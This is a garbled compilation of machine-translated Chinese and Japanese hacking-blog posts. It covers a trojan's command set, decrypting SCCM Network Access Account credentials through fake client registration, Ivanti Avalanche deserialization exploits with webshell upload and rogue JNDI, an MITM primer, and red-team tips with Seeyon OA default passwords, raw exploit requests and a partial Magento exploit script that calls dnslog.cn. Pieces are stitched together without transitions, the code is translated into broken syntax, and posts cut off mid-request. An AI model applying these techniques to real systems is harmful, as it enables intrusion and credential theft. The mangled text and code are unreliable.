7——使用cmd.exe 解釋器執行命令；

8——使用與給定主機（地址和端口）的原始TCP 套接字測試的連接；

9——獲取正在運行的進程信息：路徑、所有者、名稱、父進程、PID等；

10——使用提供的ID 的進程令牌模擬用戶；

11——列出目錄中的文件；

12——截取屏幕截圖；

13——將內容寫入文件；

14——讀取文件內容；

15——刪除文件；

16——將提供的代碼注入到具有給定名稱的進程中。

17——在C2上運行shellcode；

研究人員現在已經介紹了該活動的三個層面，有趣的是，研究人員觀察到一個木馬俱有如上表所示的完整命令集，但仍然使用rc4加密的HTTP與C2通信，而不是指定管道。最後一個stager的示例看起來像一個模塊化的平台，攻擊者能夠根據他們當前的需要組合其功能。

基礎設施7.png

研究人員認為這些代碼是自定義的(木馬、包裝器)，與以前已知的活動或以前註冊的SilentBreak工具集模塊沒有相似之處。現在研究人員不願意給這個活動命名，而是堅持只用“SilentBreak”。

HireHackking

Microsoft系統中心配置管理器(SCCM)。 SCCM是一款微軟產品體系架構下的桌面端，服務器，移動端管理產品。主要是負責桌面標準化，網絡批量安裝部署軟件和操作系統，殺毒策略，資產收集，移動端管理等等。是一款作為IT管理員，企業基礎架構管理的必備工具。在這篇文章中，我們將介紹SCCM 如何使用其HTTP API 來初始化客戶端。我們還將了解如何從SCCM 檢索網絡訪問帳戶，以及我們如何解密這些憑據而無需使用DPAPI 或管理員帳戶。

實驗室設置對於我們的實驗室設置，我們將使用默認的SCCM 部署。我發現最簡單的方法是通過自動化實驗室，它支持通過ConfigurationManager 角色進行安裝：

1.png

我們將在這篇文章中使用的版本是Configuration Manager 2103，我們將把我們的主站點命名為P01。本實驗的服務器將稱為SCCM01，我們將配置為使用HTTP 進行通信。

一旦SCCM服務器的設置完成，我們將把一切都保留為標準，並添加一個Network Access Account供以後使用：

2.png

完成後，我們就可以繼續探索了！

客戶端註冊讓我們首先看看客戶機嘗試向SCCM註冊時生成的請求。為了做到這一點，我們使用@_Mayyhem awesome SharpSCCM工具：

3.png

當SharpSCCM 調用實際的.NET 客戶端庫時，我們會收到一個清晰的請求，我們可以使用WireShark 來識別它。客戶端向SCCM 服務器註冊的初始步驟如下：

4.png

這個HTTP 請求被發送到SCCM 服務器，由兩部分組成，一個是XML 編碼的標頭，另一個是在多部分/混合HTTP 請求中發送的XML 編碼的正文。有趣的是，該協議還使用了CCM_POST 的HTTP 方法。

標頭採用UTF-16 編碼，如下所示：

5.png

請求正文是zlib壓縮和Unicode編碼：

6.png

為了簡單起見，我刪除了一些較長的十六進製字符串，但我們在這裡看到的是三個十六進制blob被發送到服務器，以及一些關於我們的客戶端的初始信息。

讓我們轉儲Signing blob：

7.png

如果我們看這個，我們實際上會看到這是一個DER 編碼的證書：

8.png

生成此證書時，添加了兩個擴展密鑰使用OID：

9.png

這些將證書標記為短信簽名證書(自簽名)。

因此，我們看到客戶端證書被傳遞給SCCM服務器以供稍後使用，但是SignatureValue字段呢？讓我們啟動dnSpy並深入研究System.ConfigurationManagement.Messaging.dll程序集，該程序集位於安裝了客戶端的主機上的C:\Windows\CCM 中。

經過一番搜尋，我們在Interop.Crypt32.HashAndSignData中找到了答案：

10.png

這表明，使用帶有PKCSv15填充的RSA- sha256正在使用與證書關聯的RSA 私鑰對XML 請求正文進行簽名。

這裡需要注意的一件奇怪的事情是，一旦生成簽名，字節在ASCII十六進制編碼並添加到請求¯\_(ツ)_/¯之前會被反轉。

當服務器響應這個客戶端註冊請求時，我們再次看到有一個XML 標頭和正文，其中正文數據被zlib 壓縮。可以看到我們被分配給了ClientID，它是在我們的客戶端與服務器通信期間使用的UUID：

11.png

在這個階段值得注意的是，這個請求可以發送到未經身份驗證的SCCM URL http://SCCM01/ccm_system/request。這足以向SCCM添加一個客戶端條目，但是我們將處於“未批准”狀態。這種狀態在以後會變得很重要：

12.png

政策要求客戶端註冊後，客戶端執行的下一個階段是檢索策略列表。此調用還使用

13.png

不幸的是，這是事情變得有點複雜的地方。我們首先需要關注的是PublicKey blob。這實際上只是客戶端之前為證書生成的RSA 公鑰，但是這次它被編碼為PUBLICKEYBLOB。

接下來是ClientIDSignature。這是我們之前看到的用於簽署ClientID 的RSA-SHA256 簽名，前面帶有GUID:然後轉換為Unicode。例如：

14.png

最後是PayloadSignature，它是隨後壓縮的主體的簽名。

這個請求的主體是zlib 壓縮和Unicode 編碼的，帶有我們客戶端的信息：

15.png

對該請求的響應是XML主體中可用的策略列表：

16.1.png

16.2.png

雖然這裡有很多有趣的東西，但我們現在要關注的領域將是網絡訪問帳戶的共享方式。

秘密政策如果你遍歷我們檢索到的策略列表，你一定會遇到標記為“秘密”的策略。其中一個策略是NAAConfig，它包含了網絡訪問帳戶：

17.png

你可能已經看到@gentilkiwi 在2021 年發布的Mimikatz 更新中引用了這些帳戶，這表明通常這些憑據是在SCCM 客戶端上使用DPAPI 加密的：

18.png

但是，如果我們嘗試使用RequestAssignments 請求返回的URL 直接下載此策略，我們會看到出現一個錯誤。

19.png

這樣做的原因是需要對秘密策略的請求進行身份驗證。但是由於這是SCCM，所以還需要進行另一種類型的身份驗證。

經過一番搜尋之後，我發現了對SCCM 服務器上名為ccmgencert.dll 的DLL 中使用的身份驗證類型的引用：

20.png

既然我們知道了一些使用的簽名方法，這些標頭實際上可以很容易被創建。看看被添加到SCCM平台的客戶端，我們看到它們是這樣的：

21.png

ClientToken只是我們的cliententid和當前DateTime的一個連接。 ClientTokenSignature是使用上面相同的RSA-SHA256算法的簽名。

讓將這些標頭添加到我們的請求中，看看會得到什麼：

22.png

這一次，我們得到了不同的回應。我的意思是我們出現錯誤，但我們也沒有得到任何不好的數據。

事實證明，對於我們的客戶端實際請求秘密策略，他們需要在服務器上處於Approved 狀態。

默認情況下，SCCM 安裝有以下內容：

23.png

那麼，計算機是如何自動自我認可的呢?還有另一個URL被/ccm_system_windowsauth/request的客戶端使用。如果之前的XML ClientRegistrationRequest被發送到這個路徑，並完成NTLMSSP驗證計算機帳戶，則客戶端設置為Approved 狀態：

24.png

現在，當對此URL 進行身份驗證時，我們似乎可以使用任何隨機域用戶帳戶。然而，問題是它似乎不足以迫使客戶進入批准狀態。相反，我們需要使用計算機帳戶（儘管它不需要與我們嘗試註冊的客戶端相對應），所以addcomputer.py 在這裡非常有用。

25.png

通過將此身份驗證步驟添加到我們的註冊請求並強制我們的客戶端進入Approved 狀態，下次我們請求NAAConfig 策略時，我們會得到如下所示的內容：

26.png

好吧，回到dnSpy，我們去嘗試弄清楚。答案在Interop.DecryptMessageFromCertificateFile 方法中找到，該方法顯示了CryptDecryptMessage API 調用的使用。

27.png

參數顯示此加密策略是使用3DES CBC 的PKCS7 編碼blob，其密鑰源自我們之前在證書中提供的RSA 公鑰。

解密後，我們終於看到了一些實際的憑證，如下所示：

28.png

網絡訪問帳戶混淆起初，獲取這些賬戶似乎需要更多的加密貨幣。但是MimiKatz 已經向我們展示了這些憑據最終可以在客戶端上訪問，因此我們知道我們的客戶端必須能夠在使用DPAPI 保護它們之前以某種方式解密這些憑據……那麼密鑰是什麼？在尋找這個加密是如何完成的之後，我在客戶端上找到了一個名為PolicyAgent.dll 的DLL。

最重要的是調試字符串：

29.png

UnobfuscateString 聽起來很有希望，當然聽起來比DecryptString 更好。我沒有深入研究這個反彙編的所有部分，而是創建了一個快速調試工具來調用這個函數。

30.png

當運行在與SCCM實驗室網絡無關的主機上時，並且連接到調試器以逐步解決通過以這種方式調用方法而發生的不可避免的訪問衝突時，就會解密用戶名和密碼：

31.png

32.png

這意味著所使用的加密與描述的完全一樣，它是被混淆的！我們擁有在密文中解密這些憑證所需的所有信息，而且我們可以完全離線完成！

通過重新創建unobfuscation方法的步驟，我們可以創建如下所示的解密代碼。

33.1.png

有了計算機帳戶，我們就可以在SCCM 中添加虛假客戶端，下載加密的網絡訪問帳戶憑據，並對其進行解密，而無需處理提升權限或任何DPAPI 解密。

HireHackking

IVANTIAVALANCHE漏洞利用（上）

是否需要任何身份驗證？此時，我似乎擁有了發送我自己的信息所需的一切。但是，當我發送時，我看到目標服務沒有任何反應。我查看了InfoRail服務日誌文件，發現了這些有趣的行：

11.png

InfoRail日誌文件——刪除未經身份驗證的消息

我似乎漏掉了一個重要的部分：身份驗證。有了有關協議和加密的所有詳細信息，我能夠快速識別網絡流量中的註冊消息。這是負載不以XML形式存儲的罕見示例之一。下面的截圖展示了一個註冊消息的片段：

12.png

註冊消息的片段

這裡研究人員發現了幾件重要的事情：

马云惹不起马云 --reg.appident——指定嘗試註冊的服務的名稱。

马云惹不起马云--reg.uname/reg.puname——指定看起來像用戶名的東西。

马云惹不起马云--reg.cred/reg.pcred——指定看起來像哈希密碼的東西。

經過大量的代碼分析，我確定了以下內容：

马云惹不起马云--Uname和puname是部分隨機的。

马云惹不起马云--Cred和pcred值是MD5哈希值，基於以下值：

马云惹不起马云--用戶名（.anonymous.0.digits）。

马云惹不起马云--密鑰的適當片段，在源代碼中被硬編碼。

同樣，唯一需要的秘密在源代碼中是可見的。攻擊者可以檢索密鑰並構造他自己的有效註冊消息。

最後，我們可以正確註冊InfoRail服務並將我們自己的消息發送到任何Avalanche服務。

在這個階段，可以驗證ObjectGraph類中沒有實現allowlist的服務。我找出了其中的5個：

马云惹不起马云數據存儲服務(ZDI-CAN-15169)。

马云惹不起马云StatServer服務(ZDI-CAN-15130)。

马云惹不起马云通知服務器服務(ZDI-CAN-15448)。

马云惹不起马云證書管理服務器服務(ZDI-CAN-15449)。

马云惹不起马云Web文件服務器服務(ZDI-CAN-15330)。

我們有五個XStream反序列化終端，可以反序列化我們提供的任何東西。人們可以立即開始考慮利用這種反序列化的方法。首先，XStream對其安全性非常透明。他們的安全頁面（可在此處獲得）基於Java運行時中可用的類提供多個小工具。遺憾的是，沒有合適的小工具適用於我試圖利用的前四個服務，因為沒有加載所需的類。

XStream試圖允許盡可能多的對像圖，默認轉換器幾乎是steroid上的Java序列化。除了對第一個不可序列化的父構造函數的調用之外，Java序列化可以實現的一切似乎都可以通過XStream實現（括代理構造）包。

在較新版本的XStream中似乎沒有代理構造。但是，我們仍然應該能夠使用ysoserial小工具來利用它。那時還沒有用於XStream的Ysoserial小工具，所以我自己創建了幾個。它們可以在這個GitHub存儲庫中找到。

使用我的ysoserialXStream小工具，我成功地在四個Avalanche服務中執行了重構代碼。以下是我能夠利用的服務的摘要，以及所需的小工具：

马云惹不起马云StatServer：使用AspectJWeaver和CommonsBeanutils1利用。

马云惹不起马云數據存儲庫：使用C3P0和CommonsBeanutils1進行利用。

马云惹不起马云證書管理服務器：使用CommonsBeanutils1利用。

马云惹不起马云Avalanche通知服務器：使用CommonsBeanutils1利用。

沒有特別的原因，讓我們關注StatServer。首先，我們必須找到將反序列化包含的XML有效負載的消息的主題和子類別。據此，InfoRail協議消息標頭應包含以下鍵和值：

马云惹不起马云h.distlist=255.3.2.12

马云惹不起马云h.msgsubcat=3502（GetMuCellTowerData消息）

在本例中，我們將使用AspectJWeaver小工具，它允許我們上傳文件。下面是XStream的AspectJWeaver小工具：

AspectJWeaver.xml

13.png

這個小工具任務如下：

马云惹不起马云iConstant標籤包含Base64文件內容。

马云惹不起马云folder標籤包含上傳目錄的路徑。我的目標是AvalancheWeb應用程序根目錄。

• key標記指定文件的名稱。

有了所有需要的數據，我們就可以開始利用過程了：

14.png

StatServer利用——上傳Webshell

以下屏幕截圖展示了上傳的webshell和whoami命令的執行。

15.png

StatServerExploitation——Webshell和命令執行

成功！綜上所述，可以向Avalanche服務發送消息的攻擊者可以在4個不同的服務中濫用XStream反序列化。

我還在第五個服務上實現了遠程代碼執行。然而，利用這個服務要復雜得多。

利用JNDI查找Java命名和目錄接口(JNDI)查找有很長的歷史，在Log4Shell漏洞出現之前，許多研究人員就已經熟悉了這個向量。 CVE-2021-39146就是一個證明，它是一個觸發查找的XStream反序列化小工具。它是唯一一個對Web File Server服務有效的XStream小工具，對此我無法製作一個有效的ysoserial小工具。

儘管如此，我們仍在處理一個新的Java版本。因此，我們不能濫用遠程類加載。此外，攻擊者不能濫用LDAP反序列化向量(此處有描述[PDF])。使用JNDI注入，我們可以交付序列化的有效負載，然後由目標反序列化。然而，我們沒有意識到任何反序列化小工具可能被濫用在Web文件服務器。如果有任何gadget，我們首先就不需要JNDI查找。幸運的是，在Web文件服務器類路徑中包含了幾個有趣的JAR包。

16.png

Web文件服務器- Tomcat jar

可以看到，Web File Server加載了幾個Tomcat JAR包。你可能還熟悉MichaelStepankin發現的技術，它濫用TomcatBeanFactory中的不安全反射通過JNDILookup執行任意命令。

總之，我們可以執行以下攻擊：

马云惹不起马云設置惡意LDAP服務器，該服務器將為惡意BeanFactory提供服務。我們將使用RogueJNDI工具。

马云惹不起马云註冊InfoRail服務。

马云惹不起马云發送包含CVE-2021-39146小工具的消息，以指向在步驟1中定義的服務器的Web文件服務器為目標。

马云惹不起马云Web文件服務器進行LDAP查找並從惡意服務器檢索數據。

马云惹不起马云遠程代碼執行。

LDAP服務器的設置如下圖所示：

17.png

RogueJndi的設置

下一個片段展示了用於此概念證明的CVE-2021-39146小工具：

jndiGadget.xml

18.png

如果一切順利，並且成功地執行了查找，那麼Rogue JNDI應該顯示以下消息，並且應該在目標系統上執行代碼。

19.png

被觸發的JNDI查找

總而言之，我們能夠濫用自定義的IvantiAvalanche協議和XML消息反序列化機制來利用五種不同的服務並以SYSTEM權限遠程執行代碼。我在IvantiAvalanche中發現了更多反序列化漏洞。接下來，我將繼續討論協議和跨服務通信。

在通信和身份驗證消息中濫用攻擊條件如上所述，各種Avalanche服務在InfoRail的幫助下相互通信。當服務提供響應時，該響應將再次通過InfoRail服務轉發。這項研究的想法是：攻擊者是否有可能欺騙響應？如果是這樣，就有可能濫用IvantiAvalanche行為並執行潛在的惡意操作。

我重點研究了身份驗證操作，如下圖所示：

20.png

認證方案當用戶通過AvalancheWeb應用程序登錄面板進行身份驗證時，後端會將身份驗證消息傳輸到EnterpriseServer。此服務驗證憑據並發回適當的響應。如果提供的憑據正確，則用戶將通過身份驗證。

在這個研究過程中，我學到了兩件重要的事情：

马云惹不起马云攻擊者可以註冊為任何服務。

马云惹不起马云身份驗證消息分佈在註冊的Enterprise Server的每個實例中。

據此，攻擊者可以將自己註冊為企業服務器，並截獲傳入的身份驗證消息。但是，這種行為並沒有什麼直接的後果，因為傳輸的密碼是經過哈希和加密的。

下一個問題是是否可以將攻擊者自己的響應傳遞給AvalancheWeb，以及它是否會被接受。事實證明，是的，這是可能的！如果你想提供自己的響應，則必須在消息標頭中正確設置兩個值：

马云惹不起马云Origin——發送消息的AvalancheWeb後端的主題(ID)。

马云惹不起马云MsgId——原始身份驗證消息的消息ID。

這兩個值都比較容易獲得，因此攻擊者可以對消息提供自己的響應。它將被正在等待響應的服務接受。下圖展示了一個攻擊場景示例。

21.png

攻擊條件攻擊場景如下：

——攻擊者嘗試使用錯誤的憑據登錄Web應用程序。

——Web應用程序發送認證消息。

——InfoRail服務將消息發送到兩台企業服務器：合法服務器和惡意服務器。

——攻擊時間：

——合法服務器以“錯誤憑據”消息響應。

——惡意服務器以“credentialsOK”消息響應。如果攻擊者的服務器首先傳遞消息，則將其轉發到AvalancheWeb應用程序。

——攻擊者獲得身份驗證。

請注意，針對攻擊者服務器的“登錄消息”不是故意存在的（儘管它實際上是傳輸給攻擊者的）。我想強調一個事實，即可以在不可能讀取消息的情況下利用這個問題。在此攻擊中，攻擊者必須暴力破解已經提到的消息ID值。它使整個攻擊複雜化，但仍然有可能被利用。

總結這一部分，攻擊者可以設置自己的惡意Enterprise Server，並濫用攻擊條件來向Web應用程序交付自己的身份驗證響應。還有兩件事需要調查：響應消息是什麼樣的，我們能否緩解攻擊？

身份驗證處理以下代碼段提供了對登錄消息的示例響應。請注意，這些消息在合法使用期間會更大。但是，對於概念驗證，我已將它們最小化並僅存儲了開發所需的那些部分。

22.png

響應消息由幾個重要部分組成：

马云惹不起马云它包含一個responseObject標記，它是一個序列化的用戶對象。

马云惹不起马云它包含一個非常重要的responseCode標籤。

马云惹不起马云在身份驗證期間的某個時刻，Web後端調用UserService.doLogin方法：

doLogin.java

23.png

在[1]處，UserCredentials對像被實例化。然後，設置其成員。

在[2]處，將調用authenticate方法，並將在[1]處初始化的對像作為參數傳遞：

authenticate.java

24.png

在[1]處，初始化UserLogin對象。

在[2]處，UserCredentials對像被序列化。

在[3]處，消息正在發送到企業服務器，Web後端等待響應。

在[4]處，驗證響應中包含的responseCode。我們希望它等於0。

在[5]處，userLogin.authenticated設置為True。

在[6]處，userLogin.currentUser被設置為包含在responseObject中的對象。

在[7]處，該方法返回userLogin對象。

基本上，響應應該有一個等於0的responseCode。它還應該在responseObject標記中包含一個正確序列化的User對象。

最後，我們分析負責調用doLogin函數的UserBean.loginInner方法的片段。

loginInner.java

25.png

在[1]處，調用doLogin方法。它檢索UserLogin類型的對象。

在[2]處，它將this.currentUser設置為userLogin.currentUser。

在[3]處，它設置各種其他設置。

有一件非常重要的事情需要注意：Web後端不會將登錄面板中提供的用戶名與企業服務器檢索到的用戶名進行比較。因此，攻擊者可以：

马云惹不起马云觸髮用戶名為“poc”的身份驗證。

马云惹不起马云贏得攻擊並在響應中提供用戶“amcadmin”。

马云惹不起马云然後攻擊者將被認證為“amcadmin”。

總而言之，攻擊者似乎沒有任何障礙，他的響應應該由WebBackend處理，沒有任何問題。接下來，我們將注意力轉向防禦。

在默認安裝中，EnterpriseServer和InfoRail服務與Web後端位於同一主機上。這使得攻擊條件的利用變得更加困難，因為合法的通信由本地接口處理，這比通過外部網絡接口的通信要快得多。

儘管如此，攻擊者還是有一些優勢。例如，他不必生成動態響應，因為響應負載可以在漏洞利用中進行硬編碼。下表概述了攻擊者和合法EnterpriseServer必須執行的操作。

攻擊者從原始登錄消息中獲取消息ID，並將其放置在標頭中。

發送靜態響應。

企業服務器從原始登錄消息中獲取消息ID並將其放在標頭中。

解密並驗證用戶的憑據。

檢索用戶的詳細信息並創建用戶對象。

動態創建響應。

遠程攻擊者需要執行的操作要少得多，可以更快地準備響應。它使攻擊可以順利進行。

未經身份驗證的攻擊者可以修改Avalanche系統設置。這是由於一個單獨的漏洞允許繞過域身份驗證(ZDI-CAN-15919)。遠程攻擊者可以啟用基於LDAP的身份驗證並為LDAP服務器配置設置任何地址。在這種情況下，合法的EnterpriseServer將首先嘗試訪問這個“非法”身份驗證服務器。這將給攻擊者額外的1 - 2秒時間(如果使用得當，甚至更多)。這樣，攻擊者就可以獲得更多的時間來發起攻擊。

HireHackking

中間人(MITM) 攻擊是一個嚴重的網絡安全問題，尤其是在物聯網領域，攻擊者使用它們來闖入網絡並攔截數據。個人用戶和公司都容易受到此類攻擊，因為我們都使用大量聯網設備。

為了減輕MITM 攻擊並將其成功執行的風險降至最低，我們需要了解MITM 攻擊是什麼以及惡意行為者如何應用它們。此外，滲透測試人員可以利用中間人攻擊工具來檢查軟件和網絡是否存在漏洞，並將其報告給開發人員。因此，開發人員可以修復產品的弱點，防止真正的網絡犯罪分子可能的MITM 攻擊。

在本文中，我們將討論MITM 基礎知識：這些攻擊是什麼以及它們的目的。我們將了解在MITM 攻擊的每個階段會發生什麼，並探討用於執行MITM 攻擊的幾種流行實用程序的功能、優缺點。

本文不是關於如何執行MITM 攻擊的指南，但它解釋了使用MITM 工具如何幫助滲透測試者檢測漏洞。

MITM 攻擊：定義和後果什麼是中間人攻擊？中間人(MITM) 攻擊是一種網絡攻擊，惡意行為者在其中秘密中繼並可能改變認為他們直接相互通信的兩方之間的通信。

例如，攻擊者可以將受害者的計算機和服務器（網站、服務或任何其他網絡資源）之間的連接切換到攻擊者作為服務和受害者之間的中介的連接。

image.png

圖1. MITM 攻擊方案

MITM 攻擊的目標是訪問用戶的個人數據或用戶訪問的某些資源的數據。如果用戶訪問組織的資源，攻擊者可能會訪問組織網絡中存儲和流通的任何數據，例如銀行數據、用戶憑據、照片、文檔和消息。

MITM 攻擊最常見的受害者是使用大量數據操作的Web 資源：金融組織的網站、SaaS 資源、電子商務網站和其他需要在線授權的服務。

中間人攻擊背後的危險MITM 攻擊的後果是什麼？成功的MITM 攻擊的後果可能導致企業的財務和聲譽損失。

截獲的數據為惡意行為者提供了敲詐他人或以他人為代價購買商品的機會。此外，攻擊者可以使用受害者的憑據來損害公司：例如，通過安裝惡意軟件從公司網絡竊取數據。

MITM 攻擊背後的一個共同意圖是盜竊金錢。 2015 年，有49 名嫌疑人在不同的歐洲國家被捕，他們涉嫌使用MITM 攻擊來嗅探和攔截電子郵件中的付款請求。調查發現了一項總額為600 萬歐元（約合680 萬美元）的國際欺詐計劃。

2019 年，黑客通過攔截一家風險投資公司的100 萬美元電匯，成功敲詐了一家以色列初創公司。惡意行為者執行MITM 攻擊，攔截和編輯來自雙方的每封電子郵件，並註冊虛假域以欺騙雙方。

網絡犯罪分子使用社會工程學並設法將惡意軟件植入目標公司的網絡。使用該惡意軟件，他們通過攔截電子支付交易進行了大量MITM 攻擊。

了解MITM 攻擊的類型將如何幫助您增強軟件測試如何防止中間人攻擊？在滲透測試中，使用中間人攻擊工具的主要目標是發現和修復軟件和網絡中的漏洞。質量保證(QA) 工程師在軟件完全開發後使用MTM 實用程序來測試軟件的潛在易受攻擊部分。然後開發人員可以修復發現的問題並增強產品的安全性，防止真正的攻擊者進行潛在的MITM 攻擊。

本文中描述的實用程序不僅可用於執行攻擊，還可用於測試網絡和軟件安全性。使用MITM 工具檢查產品的保護有助於發現惡意行為者可以利用這些漏洞竊取數據並造成財務和聲譽損失。

此類MITM 工具對物聯網設備製造商特別有用，因為它們可以幫助他們檢查一個網絡中各種設備之間的連接的安全性以及設備和服務器之間連接的安全性。通過徹底的滲透測試，製造商可以生產出高質量的設備，防止未經授權的訪問。

模仿MITM 攻擊有助於QA 專家更好地了解可能的攻擊場景、分析其原因並提出對策。

MITM 攻擊如何運作？ MITM 攻擊包括兩個主要步驟：攔截和解密。每個都有自己的子步驟。讓我們簡要探討一下最常見的。

image.png

兩步中間人攻擊

1.可以使用被動或主動攻擊來完成攔截：1.1。被動攻擊。網絡犯罪分子創建一個網絡接入點，允許他們通過互聯網連接到網絡。當受害者連接到網絡時，網絡犯罪分子可以完全訪問和控制受害者的數據流。

1.2. 主動攻擊。此方法包括各種欺騙技術：

马云惹不起马云 IP 欺騙——用目標IP 地址代替攻擊者的地址；將受害者發送到虛假網站而不是原始網站

马云惹不起马云ARP 欺騙– 將受害者發送到的MAC 地址替換為受害者APR 表中攻擊者的地址。因此，當受害者向節點發送數據時，數據將被發送到攻擊者的地址。

马云惹不起马云DNS 欺騙– 入侵DNS 服務器、DNS 緩存中毒和替換指定地址。在這種情況下，受害者被定向到攻擊者的地址。

2.解密攔截數據後，攻擊者以服務器和客戶端都不會注意到中斷的方式對其進行解密。以下是惡意行為者用於這些目的的一些方法：

马云惹不起马云 HTTPS 欺騙– 也稱為同形異義詞攻擊，HTTPS 欺騙是指將目標域中的字符替換為外觀非常相似的其他非ASCII 字符。這種攻擊利用了Punycode——一種允許以非ASCII 格式註冊域的標準。為了進行此類攻擊，網絡犯罪分子註冊一個看起來像目標站點的域並註冊SSL 證書，使虛假網站看起來合法且安全。然後，攻擊者將指向虛假網站的鏈接發送給受害者，受害者認為他們正在使用受保護的網站。

马云惹不起马云SSL BEAST – 這種類型的攻擊將惡意JavaScript 代碼注入會話中，這有助於攻擊者獲得對站點cookie 的訪問權限。這會破壞加密模式，因此網絡犯罪分子會收到解密的cookie 和身份驗證密鑰。

马云惹不起马云SSL 劫持——通過SSL 劫持，有效的計算機會話被利用來獲得對計算機系統中信息或服務的未經授權的訪問。大多數Web 應用程序使用一種登錄機制，該機制生成一個會話令牌以供以後使用，而無需在每個頁面上輸入憑據。通過SSL 劫持，攻擊者使用嗅探器工具攔截流量並識別用戶的令牌以將請求發送到服務器而不是用戶。

马云惹不起马云SSL 剝離– SSL 剝離攻擊利用了大多數用戶訪問SSL 網站的方式。通常情況下，當用戶連接到安全網站時，連接是通過以下方式建立的：

1.連接到網站的HTTP 版本

2.重定向到HTTPS 版本

3.連接到HTTPS 版本

4.服務器顯示證明站點合法的安全證書

5.連接已建立

但是，在SSL 剝離攻擊期間，惡意攻擊者會替換步驟二和三，因此所有客戶端的數據都通過攻擊者的節點傳輸。

image.png

圖2. SSL 剝離攻擊方案

HireHackking

最も基本的なログインボックスから突破します

ログインボックスは、HWが最も発生するキャラクターであり、穴から抜け出すのが最も簡単です。一般的に使用されるテスト方法の一部を以下に示します

ログインブラストのヒント

image-20231130171640751

このようなシステムの爆発に対する2つの解決策があります。

フロントエンドの暗号化アルゴリズムを分析し、スクリプトを書き込み、パスワードを暗号化し、パスワードを123456 000000に修正します。2つの方法には、辞書として一般的なユーザー名を使用して2つの方法が独自の利点と欠点があります。ゲームでより効率的な2番目のものを好み、分析暗号化アルゴリズムはRedチーム検出プロジェクトにより適しています。

image-20231201170955410

爆破されたアカウントのパスワードを使用してバックグラウンドにログインすると、背景のアップロードポイントを見つけ続けることができます

アップロードされたファイル形式を制限するために、こちらの画像タイプを参照してください

image-20231201171410743

ASPXファイル形式タイプを直接追加します

image-20231201171600249

成功したけいれん

image-20231201171755656

戻りパケットパラメーターを変更し、背景

を入力します

ウェブサイトのログインステータスがフロントエンドに基づいて判断される場合があり、この時点では、返品パッケージを直接変更してバイパスできます。

image-20231128172935703

フロントエンド判断ログインロジックは、返品パッケージのRET値に基づいて決定されます。返品値が1の場合、ログインが正常にログインされます。

image-20231128173007315

背景を正常に入力しました

image-20231128173130312

プラグインは、一般的なSQLインジェクションとLOG4Jの脆弱性を検出します

推奨SQLインジェクションプラグイン3https://GITHUB.COM/SMXIAZI/XIA_SQL

基本原則は、返されたデータの長さに基づいて複数のデータパケットを送信することにより、注入があるかどうかを判断することです。

image-20231128170800532

パッシブスキャンに加えて、シングルとダブルの引用符を手動で追加して、返品パッケージを表示することもできます。同様のエラーがある場合、SQL注入がある可能性があります。

image-20231128164205795

image-20231205180145610

SQLMAPシャトル

image-20231128173629321

log4jプラグインはhttps://github.com/thekingofduck/burpfakeipを推奨しました

バーププラグインファズパケットを介したヘッダーヘッダー

image-20231128171023433

ログインボックスでlog4jの脆弱性を正常に検出しました

しかし、多くのDNSLOGプラットフォームはファイアウォールによって黒にマークされていることに注意する必要があるため、シーイを使用したり、DNSLOGプラットフォームを自分で構築することをお勧めします

image-20231108153844067

システムデフォルトのパスワード +背景1Day Exploit

攻撃的および防御的な競争がますます頻繁になるにつれて、パブリックネットワークで直接悪用できるフロントエンドの脆弱性はますます少なく、それらのほとんどはバッチスキャンによって修正されていますが、システムのデフォルトパスワードを使用して1日と組み合わせることができます。

デフォルトのパスワードが存在する場合、admin/admin123

image-20231128173913383

タスクをスケジュールするか、背景を入力するときにタスクを脱着することにより、コマンドを実行できます。

image-20231128174037559

OAシステムに遭遇すると多くの場合、OA脆弱性検出ツールを使用して、抜け穴なしでスキャンしてあきらめます。実際、この種のOAシステムでデフォルトのパスワードに問題がある可能性があります。

デフォルトのパスワード

システム管理者：システム/システム

グループ管理者（A8-V5グループバージョン）Group-Admin/123456

ユニット管理者（A8-V5 Enterprise Edition）Admin1/Admin123456

監査管理者（すべてのバージョン）Audit-Admin/Seeyon123456

image-20231108142849667

フロントデスクでアカウントのパスワードを使用するときにログインできない場合があります。次のデータパケットを送信して、Cookieを取得できます。

POST/SEYYON/REST/認証/UCPCLOGIN HTTP/1.1

host:

user-agent: mozilla/5.0（Windows NT 10.0; RV:78.0）Gecko/20100101 Firefox/78.0

Content-Length: 71

Content-Type:アプリケーション/x-www-form-urlencoded

Accept-Encoding: GZIP

useragentfrom=xxlogin_username=audit-adminlogin_password=seeyon123456

Cookieを取得した後、パッチの新しいバックグラウンドホールを使用して、詳細に使用できます。今回は、コピーファイルの背景穴を使用します。

しかし、実際の戦闘の後、私はこの抜け穴にいくつかの落とし穴があることを発見し、ウェブシェルに書き込むときにエラーが報告されました。

post /seeyon/ajax.do?method=ajaxactionmanagername=portalcssssmanagerrnd=111 http/1.1

Accept: */*

content-type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Content-Length: 70

HOST: 192.168.91.17

Connection: Keep-Alive

user-agent: apache-httpclient/4.5.13（Java/1.8.0_321）

Accept-Encoding: gzip、deflate

引数=％5B％22

HireHackking

1。序文

次の検出スクリプトを列に示します。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning）

def banner（）:

print（）

印刷（r '' ''

____________ _____ _____ ____ _____ _____ _____ ____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_

| | \ \//| _ | _____ __）| | | | | | | | _____ ___）| | | | | | | |//'_ \

| | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| （_）|

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/

_____

| ___ |

//

//

/_/

'' '）

print（）

def read_file（file_path）:

file:としてopen（file_path、 'r'）があります

urls=file.read（）。splitlines（）

URLを返します

def check（url）:

url=url.rstrip（ '/'）

taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'）

try:

ヘッダー={

'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

domain=str（getDomain.Text）

